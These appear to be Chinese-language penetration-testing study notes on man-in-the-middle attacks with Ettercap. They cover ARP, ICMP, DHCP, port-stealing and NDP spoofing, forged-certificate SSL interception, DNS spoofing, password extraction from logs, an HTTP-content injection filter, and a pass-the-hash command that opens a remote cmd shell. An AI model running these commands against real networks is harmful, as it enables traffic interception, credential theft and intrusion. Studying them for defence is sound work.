中间人攻击
Ettercap
统一的中间人攻击工具,集合了大部分中间人攻击的功能
转发MAC与本机相同,但IP与本机不同的数据包(本来给网关的包,错误发给了中间人)
支持SSH1 SSL中间人攻击(基于伪造证书)
模块划分
Snifer 抓包嗅探
负责数据包的抓和发
Unified
单网卡情况下独立完成三层转发
始终禁用内核IP_Forward功能
Bridge
双网卡情况下相当于一层的MITM攻击(一个卡进,一个卡出,相当于一根网线,及其隐蔽)
可作为IPS过滤数据包
不可在网关上使用(透明网桥)
MITM 中间人
双向流量都经过中间人叫全双工
经过一次,半双工
把流量重定向到ettercap主机上
也可以使用其他工具实现MITM
实现MITM的方法
ARP地址欺骗
ICMP路由重定向(通告最好的上网线路),半双工
DCHP修改网关地址,半双工
Switch Port Steal 交换机端口窃取,适用于ARP静态绑定的环境 大量向交换机发送数据包(flood 泛洪),发目的地址是本机,源地址是受害者MAC地址,更新中间人端口的地址记录,让交换机产生误解,误以为中间人是受害者 产生大量泛洪,目标多了,效率不高 双工 半双工都可以
NDP
IPv6协议毒化欺骗技术
2.4以上的内核对ARP地址欺骗的约束,收到非请求的ARP响应包,不更新本地ARP缓存 。Ettercap 使用ARP request包进行攻击
Solaris 不根据ARP包更新本地ARP缓存。Ettercap使用先发ICMP包更新缓存
Filter 筛选
Log 日志
Plugin 插件
用户界面
-T 文本界面
-G 图形界面
-C 基于文本的图形界面
-D 后台模式
指定目标
制定一对目标,原本就有通信的两个机器(例如网关和受害者)
ettercap mac地址/1.1.1.1/端口 /1.1.1.2/
目标指定都是三条斜线
– IPv4:MAC/IPs//Ports
– IPv6:MAC/IPs/IPv6/Ports
– /10.0.0.1−5;10.0.1.33/20−25,80,110
权限
默认是nobody(gid uid 65535),只有在建立二层socket连接的时候用一下root的权限,建立链接之后就变回nobody,日志写入需要权限,可以改配置文件,改成uid gid 0,通过主配置文件修改etc/ettercap下etter.conf
基于伪造证书的SSL MITM
– Bridge模式不支持SSL MITM
– openssl genrsa −out etter.ssl.crt 1024
– openssl req −new−keyetter.ssl.crt −out tmp.csr
– openssl x509 −req −days 1825 −in tmp.csr −signkey etter.ssl.crt
−out tmp.new
– cat tmp.new>>etter.ssl.crt
– rm −f tmp.newtmp.cs
字符模式
-M 实现MITM的方法
arp:remote 全双工欺骗
-q 安静模式,不把所有的都记载,记载密码什么的比较关键的
-w a.cap流量记录下
-L logall 都记录
-l loginfo简单日志记录
-m message重要信息记录,密码啥的
-P 载入模块
ettercap -i eth0 -T -M arp -q /192.168.1.1// /192.168.1.2// -F 1.ef -P
autoadd -w a.cap -l loginfo -L logall -m message
SSL MITM
默认没有开启SSL中间人
vi /etc/ettercap/etter.conf
修改配置文件
DNS欺骗
dns spoof插件配置文件,要欺骗哪些,相当于一个HOSTS文件
vi /etc/ettercap/etter.dns
etterlog日志查看
etterlog -p xx.eci读取获取的密码
etterlog -c xx.ecp 列出所有的链接
etterlog -c -f /1.1.1.1/ log.ecp
etterlog -B -n -s -F TCP:1.1.1.1:20:1.1.1.2:1234 log.ecp > aa
选择相应的连接并榨取文件
21传命令 20传文件
Filter 筛选脚本 xxx.filter.xxx
/usr/share/ettercap
SSH-2.xx(ettercap不能做中间人解密) / SSH-1.99(两种都可以支持) / SSH-1.51
编译成一个ettercap可以读取的格式
etterfilter etter.filter.ssh -o ssh.ef
mv ssh.ef /root/
-F ssh.ef 来调用
改变客户端使用的使用的SSL版本
例子,替换HTTP内容,可以替换别的,自由发挥
if (ip.proto == TCP && tcp.src == 80) {
msg("data on TCP 80\n");
replace("img src=", "img src=\"http://1.1.1.1/1.gif\" ");
replace("IMG src=", "img src=\"http://1.1.1.1/1.gif\" ");
replace("IMG SRC=", "img src=\"http://1.1.1.1/1.gif\" ");
}
基于其他方法的欺骗
ICMP
-M icmp:00:11:22:33:44:55/10.0.0.1(真实网关的MAC/IP)
DHCP
-M dhcp:192.168.0.30,35,50−60/255.255.255.0/192.168.0.1(DNS)
Port steal
-M port /1.1.1.1/ /1.1.1.2/
Ndp
-M ndp //fe80::260d:afff:fe6e:f378/ //2001:db8::2:1/
直接使用密文登录(静态密文的话)
Pass the Hash(PTH)windows远程登录有这个问题
将密文提交给服务器直接完成身份认证
NTLM/LM是没有加盐的静态的HASH密文
企业使用ghost等工具克隆安装系统,所有机器帐号密码都相同
pth-winexe -U w7%aad3b435b51404eeaad3b435b51404ee:ed1bfaeb3063
716ab7fe2a11faf126d8 //1.1.1.1 cmd